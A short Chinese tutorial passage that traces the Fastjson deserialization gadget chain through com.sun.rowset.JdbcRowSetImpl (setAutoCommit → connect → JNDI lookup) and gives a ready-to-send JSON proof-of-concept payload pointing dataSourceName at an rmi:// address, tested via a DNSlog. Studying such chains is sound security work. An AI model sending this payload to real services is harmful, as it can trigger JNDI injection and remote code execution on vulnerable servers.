第二条链
Fastjson的三条链,现在我们来讲第二条com.sun.rowset.JdbcRowSetImpl
com.sun.rowset.JdbcRowSetImpl
org.apache.tomcat.dbcp.dbcp2.BasicDataSource
Fastjson的三条链,现在我们来看第二条com.sun.rowset.JdbcRowSetImpl
setAutoCommit、connect、setDataSourceName
setAutoCommit
这个是jdk原生类,下载好源码后打开
发现JdbcRowSetImpl的setAutoCommit中调用了connect
connect
跟进connect,发现调用链lookup,这不就可以JNDI注入了吗
内容是DataSourceName
setDataSourceName
顺势找到setDataSourceName,有setter方法,可以使用fastjson为其添值
构造poc
直接发送如下json即可
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://【写rmi地址】/abc", "autoCommit":true}
效果
懒得搞rmi服务器,所以这里使用yakit的dnslog,看看是否有发出请求